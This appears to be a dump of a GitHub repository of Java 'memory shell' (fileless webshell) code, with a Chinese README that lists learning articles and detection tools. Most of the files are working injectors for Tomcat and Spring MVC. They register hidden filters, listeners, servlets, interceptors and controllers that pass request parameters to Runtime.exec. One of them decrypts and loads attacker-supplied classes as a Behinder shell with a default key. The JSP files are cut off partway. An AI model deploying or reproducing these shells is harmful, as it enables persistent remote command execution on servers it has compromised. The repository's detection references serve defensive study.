├── README.md ├── java反序列化注入内存马 ├── spring-controller-interceptor │ ├── InjectToController.class │ ├── InjectToController.java │ ├── TestInterceptor.class │ └── TestInterceptor.java └── tomcat-servlet-filter-listener │ ├── AddFilter.class │ ├── AddFilter.java │ ├── AddListener.class │ ├── AddListener.java │ ├── AddServlet.class │ └── AddServlet.java └── jsp注入内存马 ├── addfilter.jsp ├── addlistener.jsp └── addservlet.jsp /README.md: -------------------------------------------------------------------------------- 1 | # 0x00 动机 2 | 3 | 仓库主要分享一下学习内存马以来的成果: 4 | 5 | - 几个jsp文件,可以直接注入tomcat的listener、filter、servlet内存马 6 | - spring mvc 结合JNDI注入可以使用的java代码,通过java恶意类可以注入litener、filter、servlet、controller和interceptor内存马(tomcat环境下) 7 | 8 | 看了大佬们的无私技术分享文章,学到很多东西,所以把收集的文章列举在后面,respect ! 9 | 10 | # 0x01 文章汇总 11 | 12 | 在学习的过程中,又想到了内存马结合菜刀和冰蝎的使用,所以研究了一下写了一篇文章(联动冰蝎的具体代码可以见仓库内的controller内存马) 13 | 14 | [针对spring mvc的controller内存马-学习和实验(注入菜刀和冰蝎可用的马](https://www.cnblogs.com/bitterz/p/14820898.html) 15 | 16 | 跟着landgrey大佬的文章走了一遍spring mvc的拦截器添加和调用过程,记录了一下 17 | 18 | [针对Spring MVC的Interceptor内存马](https://www.cnblogs.com/bitterz/p/14859766.html) 19 | 20 | 然后是学习阶段看的文章: 21 | 22 | **filter内存马** 23 | 24 | - [中间件内存马注入&冰蝎连接(附更改部分代码)](https://mp.weixin.qq.com/s/eI-50-_W89eN8tsKi-5j4g) 25 | - [filter内存马技术!_localhost01-CSDN博客](https://blog.csdn.net/localhost01/article/details/107340698) 26 | - [基于Tomcat无文件Webshell研究](https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652474966&idx=1&sn=1c75686865f7348a6b528b42789aeec8&scene=21#wechat_redirect) 27 | - [Tomcat内存马学习 一](http://wjlshare.com/archives/1529) 28 | - [Tomcat 内存马学习(二):结合反序列化注入内存马 - 木头的小屋](http://wjlshare.com/archives/1541) 29 | - [Java安全之基于Tomcat实现内存马 - nice_0e3 - 博客园](https://www.cnblogs.com/nice0e3/p/14622879.html) 30 | 31 | **servlet内存马** 32 | 33 | - [java内存马综述-servlet和listener型](https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w) 34 | 35 | **listener型** 36 | 37 | - [Tomcat下基于Listener的内存Webshell分析](http://foreversong.cn/archives/1547) 38 | 39 | **Spring controller内存马** 40 | 41 | - [基于内存 Webshell 的无文件攻击技术研究 - 安全客,安全资讯平台](https://www.anquanke.com/post/id/198886#h2-6) 42 | 43 | **Spring Interceptor内存马** 44 | 45 | - [利用 intercetor 注入 spring 内存 webshell](https://landgrey.me/blog/19/) 46 | 47 | **其它前提研究-获取request对象** 48 | 49 | - [基于tomcat的内存 Webshell 无文件攻击技术](https://xz.aliyun.com/t/7388) 50 | - [Tomcat中一种半通用回显方法](https://xz.aliyun.com/t/7348) 51 | 52 | **Weblogic注入内存马** 53 | 54 | - [中间件内存马注入&冰蝎连接(附更改部分代码)](https://mp.weixin.qq.com/s/eI-50-_W89eN8tsKi-5j4g) 55 | - [weblogic 无文件webshell的技术研究](https://www.cnblogs.com/potatsoSec/p/13162792.html) 56 | 57 | **java agent内存马** 58 | 59 | - [利用“进程注入”实现无文件复活 WebShell](https://www.freebuf.com/articles/web/172753.html) 60 | 61 | **内存马查杀** 62 | 63 | - [Tomcat 内存马检测](https://www.anquanke.com/post/id/219177) 64 | - [查杀Java web filter型内存马 | 回忆飘如雪](http://gv7.me/articles/2020/kill-java-web-filter-memshell/) 65 | - [Filter/Servlet型内存马的扫描抓捕与查杀 | 回忆飘如雪](http://gv7.me/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/) 66 | - [基于javaAgent内存马检测查杀指南-华盟网](https://www.77169.net/html/278275.html) 67 | - https://github.com/alibaba/arthas 68 | - https://github.com/LandGrey/copagent 69 | - https://github.com/c0ny1/java-memshell-scanner 70 | - https://syst1m.com/post/memory-webshell/ 71 | 72 | 73 | 74 | -------------------------------------------------------------------------------- /java反序列化注入内存马/spring-controller-interceptor/InjectToController.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bitterzzZZ/MemoryShellLearn/3b7c2af655ae8cb6d21fbc70cc54dbd57546b01a/java反序列化注入内存马/spring-controller-interceptor/InjectToController.class -------------------------------------------------------------------------------- /java反序列化注入内存马/spring-controller-interceptor/InjectToController.java: -------------------------------------------------------------------------------- 1 | import org.apache.catalina.connector.CoyoteReader; 2 | import org.springframework.web.context.WebApplicationContext; 3 | import org.springframework.web.context.request.RequestContextHolder; 4 | import org.springframework.web.context.request.ServletRequestAttributes; 5 | import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping; 6 | import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; 7 | import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; 8 | import org.springframework.web.servlet.mvc.method.RequestMappingInfo; 9 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; 10 | import javax.servlet.ServletOutputStream; 11 | import javax.servlet.http.HttpServletRequest; 12 | import javax.servlet.http.HttpServletResponse; 13 | import java.lang.reflect.Field; 14 | import java.lang.reflect.InvocationTargetException; 15 | import java.lang.reflect.Method; 16 | import java.util.*; 17 | import java.io.*; 18 | import java.net.*; 19 | import java.sql.*; 20 | import java.text.*; 21 | import javax.crypto.*; 22 | import javax.crypto.spec.*; 23 | import javax.servlet.http.HttpSession; 24 | import javax.servlet.jsp.PageContext; 25 | //import org.apache.jasper.runtime.PageContextImpl; 26 | import org.apache.taglibs.standard.lang.jstl.test.PageContextImpl; 27 | import org.apache.jasper.servlet.JasperLoader; 28 | 29 | 30 | public class InjectToController extends ClassLoader { 31 | private final String injectUrlPath = "/malicious"; 32 | private final String k="e45e329feb5d925b"; /* 该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond */ 33 | 34 | public Class g(byte []b){ 35 | return super.defineClass(b, 0, b.length); 36 | } 37 | 38 | public InjectToController(ClassLoader c){super(c);} 39 | 40 | public InjectToController(String aaa) {} 41 | 42 | public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { 43 | 44 | WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 45 | 46 | // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean 47 | RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); 48 | AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class); 49 | Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry"); 50 | method.setAccessible(true); 51 | Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping); 52 | // java.lang.ClassLoader 53 | // Method method1 = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredMethod("getMappings"); 54 | // method1.setAccessible(true); 55 | // Map mappingLookup = (Map) method1.invoke(mappingRegistry); 56 | 57 | Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup"); 58 | field.setAccessible(true); 59 | Map urlLookup = (Map) field.get(mappingRegistry); 60 | Iterator urlIterator = urlLookup.keySet().iterator(); 61 | while (urlIterator.hasNext()){ 62 | String urlPath = (String) urlIterator.next(); 63 | if (this.injectUrlPath.equals(urlPath)){ 64 | System.out.println("URL已存在"); 65 | return; 66 | } 67 | } 68 | // 2. 通过反射获得自定义 controller 中唯一的 Method 对象 69 | Method method2 = InjectToController.class.getMethod("test"); 70 | // 3. 定义访问 controller 的 URL 地址 71 | PatternsRequestCondition url = new PatternsRequestCondition(this.injectUrlPath); 72 | // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST) 73 | RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); 74 | // 5. 在内存中动态注册 controller 75 | RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); 76 | InjectToController injectToController = new InjectToController("aaa"); 77 | mappingHandlerMapping.registerMapping(info, injectToController, method2); 78 | } 79 | 80 | // controller处理请求时执行的代码 81 | public Object test() throws Exception { 82 | HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); 83 | HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); 84 | HttpSession session = request.getSession(); 85 | // WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 86 | 87 | 88 | // session.putValue("u",this.k); 89 | 90 | // shell.jsp中的对象情况如下 91 | // this.getClass().getClassLoader() -> org.apache.jasper.servlet.JasperLoader 92 | // pageContext -> org.apache.jasper.runtime.PageContextImpl 93 | 94 | // 冰蝎逻辑 95 | if (request.getMethod().equals("POST")) 96 | { 97 | session.setAttribute("u", this.k); 98 | Cipher c = Cipher.getInstance("AES"); 99 | c.init(2,new SecretKeySpec(this.k.getBytes(),"AES")); 100 | 101 | InjectToController injectToController = new InjectToController(ClassLoader.getSystemClassLoader()); 102 | String base64String = request.getReader().readLine(); 103 | byte[] bytesEncrypted = new sun.misc.BASE64Decoder().decodeBuffer(base64String); // base64解码 104 | byte[] bytesDecrypted = c.doFinal(bytesEncrypted); // AES解密 105 | Class newClass = injectToController.g(bytesDecrypted); // 调用g函数,进一步调用父类defineClass函数获得类对象 106 | 107 | Map pageContext = new HashMap(); // 为pageContext添加三个对象 108 | pageContext.put("session", session); 109 | pageContext.put("request", request); 110 | pageContext.put("response", response); 111 | newClass.newInstance().equals(pageContext); // 调用被加载的恶意对象的equals方法,最终执行payload 112 | // new InjectToController(ClassLoader.getSystemClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); 113 | } 114 | return response; // 返回结果 115 | } 116 | } 117 | -------------------------------------------------------------------------------- /java反序列化注入内存马/spring-controller-interceptor/TestInterceptor.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bitterzzZZ/MemoryShellLearn/3b7c2af655ae8cb6d21fbc70cc54dbd57546b01a/java反序列化注入内存马/spring-controller-interceptor/TestInterceptor.class -------------------------------------------------------------------------------- /java反序列化注入内存马/spring-controller-interceptor/TestInterceptor.java: -------------------------------------------------------------------------------- 1 | //package bitterz.interceptors; 2 | 3 | import org.springframework.web.context.WebApplicationContext; 4 | import org.springframework.web.context.request.RequestContextHolder; 5 | import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; 6 | import javax.servlet.http.HttpServletRequest; 7 | import javax.servlet.http.HttpServletResponse; 8 | 9 | public class TestInterceptor extends HandlerInterceptorAdapter { 10 | public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException { 11 | WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 12 | org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); 13 | java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); 14 | field.setAccessible(true); 15 | java.util.ArrayList adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping); 16 | // 避免重复添加 17 | for (int i = adaptedInterceptors.size() - 1; i > 0; i--) { 18 | if (adaptedInterceptors.get(i) instanceof TestInterceptor) { 19 | System.out.println("已经添加过TestInterceptor实例了"); 20 | return; 21 | } 22 | } 23 | 24 | TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环 25 | adaptedInterceptors.add(aaa); // 添加全局interceptor 26 | } 27 | 28 | private TestInterceptor(String aaa){} 29 | 30 | @Override 31 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 32 | String code = request.getParameter("code"); 33 | if (code != null) { 34 | java.lang.Runtime.getRuntime().exec(code); 35 | return true; 36 | } 37 | else { 38 | // response.sendError(404); 39 | return true; 40 | }}} 41 | -------------------------------------------------------------------------------- /java反序列化注入内存马/tomcat-servlet-filter-listener/AddFilter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bitterzzZZ/MemoryShellLearn/3b7c2af655ae8cb6d21fbc70cc54dbd57546b01a/java反序列化注入内存马/tomcat-servlet-filter-listener/AddFilter.class -------------------------------------------------------------------------------- /java反序列化注入内存马/tomcat-servlet-filter-listener/AddFilter.java: -------------------------------------------------------------------------------- 1 | import org.apache.catalina.Context; 2 | import org.apache.catalina.core.ApplicationContext; 3 | import org.apache.catalina.core.ApplicationFilterConfig; 4 | import org.apache.catalina.core.StandardContext; 5 | // tomcat 8/9 6 | //import org.apache.tomcat.util.descriptor.web.FilterMap; 7 | //import org.apache.tomcat.util.descriptor.web.FilterDef; 8 | // tomcat 7 9 | import org.apache.catalina.deploy.FilterDef; 10 | import org.apache.catalina.deploy.FilterMap; 11 | 12 | import javax.servlet.*; 13 | import javax.servlet.http.HttpServletRequest; 14 | import javax.servlet.http.HttpServletResponse; 15 | import java.io.IOException; 16 | import java.lang.reflect.Constructor; 17 | import java.lang.reflect.Field; 18 | import java.lang.reflect.InvocationTargetException; 19 | import java.util.Map; 20 | 21 | 22 | public class AddFilter implements Filter{ 23 | String name = "DefaultFiler"; 24 | String injectURL = "/abcd"; 25 | String shellParameter = "cccmd"; 26 | AddFilter() { 27 | 28 | try { 29 | java.lang.Class applicationDispatcher = java.lang.Class.forName("org.apache.catalina.core.ApplicationDispatcher"); 30 | java.lang.reflect.Field WRAP_SAME_OBJECT = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT"); 31 | java.lang.reflect.Field modifiersField = WRAP_SAME_OBJECT.getClass().getDeclaredField("modifiers"); 32 | modifiersField.setAccessible(true); 33 | modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL); 34 | WRAP_SAME_OBJECT.setAccessible(true); 35 | if (!WRAP_SAME_OBJECT.getBoolean(null)) { 36 | WRAP_SAME_OBJECT.setBoolean(null, true); 37 | } 38 | 39 | //初始化 lastServicedRequest 40 | java.lang.Class applicationFilterChain = java.lang.Class.forName("org.apache.catalina.core.ApplicationFilterChain"); 41 | java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest"); 42 | modifiersField = lastServicedRequest.getClass().getDeclaredField("modifiers"); 43 | modifiersField.setAccessible(true); 44 | modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL); 45 | lastServicedRequest.setAccessible(true); 46 | if (lastServicedRequest.get(null) == null) { 47 | lastServicedRequest.set(null, new ThreadLocal<>()); 48 | } 49 | 50 | //初始化 lastServicedResponse 51 | java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse"); 52 | modifiersField = lastServicedResponse.getClass().getDeclaredField("modifiers"); 53 | modifiersField.setAccessible(true); 54 | modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL); 55 | lastServicedResponse.setAccessible(true); 56 | if (lastServicedResponse.get(null) == null) { 57 | lastServicedResponse.set(null, new ThreadLocal<>()); 58 | } 59 | 60 | 61 | java.lang.reflect.Field lastServicedRequest2 = applicationFilterChain.getDeclaredField("lastServicedRequest"); 62 | lastServicedRequest2.setAccessible(true); 63 | java.lang.ThreadLocal thredLocal = (java.lang.ThreadLocal) lastServicedRequest2.get(null); 64 | 65 | 66 | /*shell注入,前提需要能拿到request、response等*/ 67 | if (thredLocal != null && thredLocal.get() != null) { 68 | javax.servlet.ServletRequest servletRequest = (javax.servlet.ServletRequest) thredLocal.get(); 69 | javax.servlet.ServletContext servletContext = servletRequest.getServletContext(); 70 | 71 | 72 | 73 | Field appctx = servletContext.getClass().getDeclaredField("context"); // 获取属性 74 | appctx.setAccessible(true); 75 | ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //从servletContext中获取context属性->applicationContext 76 | 77 | Field stdctx = applicationContext.getClass().getDeclaredField("context"); // 获取属性 78 | stdctx.setAccessible(true); 79 | StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 从applicationContext中获取context属性->standardContext,applicationContext构造时需要传入standardContext 80 | 81 | Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); //获取属性 82 | Configs.setAccessible(true); 83 | Map filterConfigs = (Map) Configs.get(standardContext); // 从standardContext中获取filterConfigs属性,将filterConfig加入这个这个map即可 84 | // 以上反射获取的成员属性都是接口实例的 85 | 86 | if (filterConfigs.get(name) == null) { 87 | AddFilter filter = new AddFilter("aaa"); 88 | 89 | FilterDef filterDef = new FilterDef(); // 组装filter各类信息和对象本身加载到标准的filterDef对象 90 | filterDef.setFilterName(name); 91 | filterDef.setFilterClass(filter.getClass().getName()); 92 | filterDef.setFilter(filter); 93 | standardContext.addFilterDef(filterDef); // 将filterDef 添加到filterDefs中 94 | 95 | FilterMap filterMap = new FilterMap(); 96 | filterMap.addURLPattern(injectURL); 97 | filterMap.setFilterName(name); 98 | filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 关键点就在于tomcat>=7以上才有这个 99 | standardContext.addFilterMapBefore(filterMap); // 组装filterMap 添加到filterMaps中 100 | 101 | //在方法名中加Declared的是返回所有的构造方法,不加Declared的只返回public访问权限的构造器 102 | //反射机制中,所有添加Declared的获取方式都是暴力获取所有构造(或方法,或字段),通过暴力获取的字段我们在进行访问的时候需要进行可访问性设置,即获取的反射对象.setAccessible(true);否则只是获取而无法操作 103 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); 104 | constructor.setAccessible(true); 105 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); 106 | 107 | filterConfigs.put(name, filterConfig); //在filterConfigs中添加定义好的filterConfig 108 | 109 | } 110 | ; 111 | 112 | } 113 | } catch (NoSuchMethodException | InstantiationException | InvocationTargetException | NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) { 114 | e.printStackTrace(); 115 | } 116 | } 117 | 118 | public AddFilter(String aaa) { 119 | } 120 | 121 | @Override 122 | public void init(FilterConfig filterConfig) throws ServletException { 123 | 124 | } 125 | 126 | @Override 127 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 128 | HttpServletRequest req = (HttpServletRequest) servletRequest; 129 | HttpServletResponse resp = (HttpServletResponse) servletResponse; 130 | if (req.getParameter(this.shellParameter) != null) { 131 | Runtime.getRuntime().exec(req.getParameter(this.shellParameter)); 132 | resp.getWriter().write("执行完毕"); 133 | 134 | } 135 | filterChain.doFilter(servletRequest, servletResponse); 136 | } 137 | 138 | @Override 139 | public void destroy() { 140 | 141 | } 142 | } 143 | -------------------------------------------------------------------------------- /java反序列化注入内存马/tomcat-servlet-filter-listener/AddListener.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bitterzzZZ/MemoryShellLearn/3b7c2af655ae8cb6d21fbc70cc54dbd57546b01a/java反序列化注入内存马/tomcat-servlet-filter-listener/AddListener.class -------------------------------------------------------------------------------- /java反序列化注入内存马/tomcat-servlet-filter-listener/AddListener.java: -------------------------------------------------------------------------------- 1 | import org.apache.catalina.core.ApplicationContext; 2 | import org.apache.catalina.core.StandardContext; 3 | 4 | import javax.servlet.*; 5 | import java.io.IOException; 6 | import java.lang.reflect.Field; 7 | 8 | 9 | public class AddListener implements ServletRequestListener { 10 | AddListener(){ 11 | try { 12 | //修改 WRAP_SAME_OBJECT 值为 true 13 | java.lang.Class applicationDispatcher = java.lang.Class.forName("org.apache.catalina.core.ApplicationDispatcher"); 14 | java.lang.reflect.Field WRAP_SAME_OBJECT = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT"); 15 | java.lang.reflect.Field modifiersField = WRAP_SAME_OBJECT.getClass().getDeclaredField("modifiers"); 16 | modifiersField.setAccessible(true); 17 | modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL); 18 | WRAP_SAME_OBJECT.setAccessible(true); 19 | if (!WRAP_SAME_OBJECT.getBoolean(null)) { 20 | WRAP_SAME_OBJECT.setBoolean(null, true); 21 | } 22 | 23 | //初始化 lastServicedRequest 24 | java.lang.Class applicationFilterChain = java.lang.Class.forName("org.apache.catalina.core.ApplicationFilterChain"); 25 | java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest"); 26 | modifiersField = lastServicedRequest.getClass().getDeclaredField("modifiers"); 27 | modifiersField.setAccessible(true); 28 | modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL); 29 | lastServicedRequest.setAccessible(true); 30 | if (lastServicedRequest.get(null) == null) { 31 | lastServicedRequest.set(null, new ThreadLocal<>()); 32 | } 33 | 34 | //初始化 lastServicedResponse 35 | java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse"); 36 | modifiersField = lastServicedResponse.getClass().getDeclaredField("modifiers"); 37 | modifiersField.setAccessible(true); 38 | modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL); 39 | lastServicedResponse.setAccessible(true); 40 | if (lastServicedResponse.get(null) == null) { 41 | lastServicedResponse.set(null, new ThreadLocal<>()); 42 | } 43 | 44 | 45 | java.lang.reflect.Field lastServicedRequest2 = applicationFilterChain.getDeclaredField("lastServicedRequest"); 46 | lastServicedRequest2.setAccessible(true); 47 | java.lang.ThreadLocal thredLocal = (java.lang.ThreadLocal) lastServicedRequest2.get(null); 48 | /*shell注入,前提需要能拿到request、response等*/ 49 | if (thredLocal != null && thredLocal.get() != null) { 50 | javax.servlet.ServletRequest servletRequest = (javax.servlet.ServletRequest) thredLocal.get(); 51 | javax.servlet.ServletContext servletContext = servletRequest.getServletContext(); 52 | 53 | //获取ApplicationContext 54 | Field field = servletContext.getClass().getDeclaredField("context"); 55 | field.setAccessible(true); 56 | ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); 57 | //获取StandardContext 58 | field = applicationContext.getClass().getDeclaredField("context"); 59 | field.setAccessible(true); 60 | StandardContext standardContext = (StandardContext) field.get(applicationContext); 61 | 62 | AddListener addListener = new AddListener("aaa"); 63 | standardContext.addApplicationEventListener(addListener); 64 | 65 | } 66 | 67 | 68 | } catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {} 69 | 70 | } 71 | 72 | public AddListener(String aaa) { 73 | } 74 | 75 | @Override 76 | public void requestDestroyed(ServletRequestEvent sre) { 77 | 78 | } 79 | 80 | @Override 81 | public void requestInitialized(ServletRequestEvent sre) { 82 | String cmdshell = sre.getServletRequest().getParameter("cmdshell"); 83 | if (cmdshell != null) { 84 | try { 85 | Runtime.getRuntime().exec(cmdshell); 86 | } catch (IOException e) { 87 | e.printStackTrace(); 88 | } 89 | } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /java反序列化注入内存马/tomcat-servlet-filter-listener/AddServlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bitterzzZZ/MemoryShellLearn/3b7c2af655ae8cb6d21fbc70cc54dbd57546b01a/java反序列化注入内存马/tomcat-servlet-filter-listener/AddServlet.class -------------------------------------------------------------------------------- /java反序列化注入内存马/tomcat-servlet-filter-listener/AddServlet.java: -------------------------------------------------------------------------------- 1 | import org.apache.catalina.core.ApplicationContext; 2 | import org.apache.catalina.core.StandardContext; 3 | 4 | import javax.servlet.*; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.io.IOException; 8 | import java.lang.reflect.Field; 9 | public class AddServlet implements Servlet{ 10 | String name = "DefaultServlet"; 11 | String injectURL = "/abcd"; 12 | String shellParameter = "cccmd"; 13 | 14 | AddServlet(){ 15 | try { 16 | java.lang.Class applicationDispatcher = java.lang.Class.forName("org.apache.catalina.core.ApplicationDispatcher"); 17 | java.lang.reflect.Field WRAP_SAME_OBJECT = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT"); 18 | java.lang.reflect.Field modifiersField = WRAP_SAME_OBJECT.getClass().getDeclaredField("modifiers"); 19 | modifiersField.setAccessible(true); 20 | modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL); 21 | WRAP_SAME_OBJECT.setAccessible(true); 22 | if (!WRAP_SAME_OBJECT.getBoolean(null)) { 23 | WRAP_SAME_OBJECT.setBoolean(null, true); 24 | } 25 | 26 | //初始化 lastServicedRequest 27 | java.lang.Class applicationFilterChain = java.lang.Class.forName("org.apache.catalina.core.ApplicationFilterChain"); 28 | java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest"); 29 | modifiersField = lastServicedRequest.getClass().getDeclaredField("modifiers"); 30 | modifiersField.setAccessible(true); 31 | modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL); 32 | lastServicedRequest.setAccessible(true); 33 | if (lastServicedRequest.get(null) == null) { 34 | lastServicedRequest.set(null, new ThreadLocal<>()); 35 | } 36 | 37 | //初始化 lastServicedResponse 38 | java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse"); 39 | modifiersField = lastServicedResponse.getClass().getDeclaredField("modifiers"); 40 | modifiersField.setAccessible(true); 41 | modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL); 42 | lastServicedResponse.setAccessible(true); 43 | if (lastServicedResponse.get(null) == null) { 44 | lastServicedResponse.set(null, new ThreadLocal<>()); 45 | } 46 | 47 | java.lang.reflect.Field lastServicedRequest2 = applicationFilterChain.getDeclaredField("lastServicedRequest"); 48 | lastServicedRequest2.setAccessible(true); 49 | java.lang.ThreadLocal thredLocal = (java.lang.ThreadLocal) lastServicedRequest2.get(null); 50 | 51 | 52 | /*shell注入,前提需要能拿到request、response等*/ 53 | if (thredLocal != null && thredLocal.get() != null) { 54 | javax.servlet.ServletRequest servletRequest = (javax.servlet.ServletRequest) thredLocal.get(); 55 | javax.servlet.ServletContext servletContext = servletRequest.getServletContext(); 56 | 57 | Field appctx = servletContext.getClass().getDeclaredField("context"); // 获取属性 58 | appctx.setAccessible(true); 59 | ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //从servletContext中获取context属性->applicationContext 60 | 61 | Field stdctx = applicationContext.getClass().getDeclaredField("context"); // 获取属性 62 | stdctx.setAccessible(true); 63 | StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 从applicationContext中获取context属性->standardContext,applicationContext构造时需要传入standardContext 64 | AddServlet evilServlet = new AddServlet("aaa"); 65 | 66 | // 创建并配置wrapper 67 | org.apache.catalina.Wrapper evilWrapper = standardContext.createWrapper(); 68 | evilWrapper.setName(this.name); 69 | evilWrapper.setLoadOnStartup(1); 70 | 71 | evilWrapper.setServlet(evilServlet); 72 | evilWrapper.setServletClass(evilServlet.getClass().getName()); 73 | 74 | // 将wrapper添加到children中 75 | standardContext.addChild(evilWrapper); 76 | 77 | // 添加mapping内容 78 | standardContext.addServletMapping(this.injectURL, this.name); 79 | } 80 | } catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) { 81 | e.printStackTrace(); 82 | } 83 | } 84 | 85 | public AddServlet(String aaa) { 86 | 87 | } 88 | 89 | @Override 90 | public void init(ServletConfig config) throws ServletException { 91 | } 92 | 93 | @Override 94 | public ServletConfig getServletConfig() { 95 | return null; 96 | } 97 | 98 | @Override 99 | public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { 100 | HttpServletRequest request1 = (HttpServletRequest) req; 101 | HttpServletResponse response1 = (HttpServletResponse) res; 102 | if (request1.getParameter(this.shellParameter) != null){ 103 | Runtime.getRuntime().exec(request1.getParameter(this.shellParameter)); 104 | // 进一步施工,回显 105 | } 106 | else{ 107 | response1.sendError(404); 108 | } 109 | } 110 | 111 | @Override 112 | public String getServletInfo() { 113 | return null; 114 | } 115 | 116 | @Override 117 | public void destroy() { 118 | 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /jsp注入内存马/addfilter.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 | <%@ page import = "org.apache.catalina.Context" %> 3 | <%@ page import = "org.apache.catalina.core.ApplicationContext" %> 4 | <%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %> 5 | <%@ page import = "org.apache.catalina.core.StandardContext" %> 6 | 7 | 8 | 10 | 11 | 12 | <%@ page import = "org.apache.catalina.deploy.FilterMap" %> 13 | <%@ page import = "org.apache.catalina.deploy.FilterDef" %> 14 | 15 | 16 | <%@ page import = "javax.servlet.*" %> 17 | <%@ page import = "javax.servlet.annotation.WebServlet" %> 18 | <%@ page import = "javax.servlet.http.HttpServlet" %> 19 | <%@ page import = "javax.servlet.http.HttpServletRequest" %> 20 | <%@ page import = "javax.servlet.http.HttpServletResponse" %> 21 | 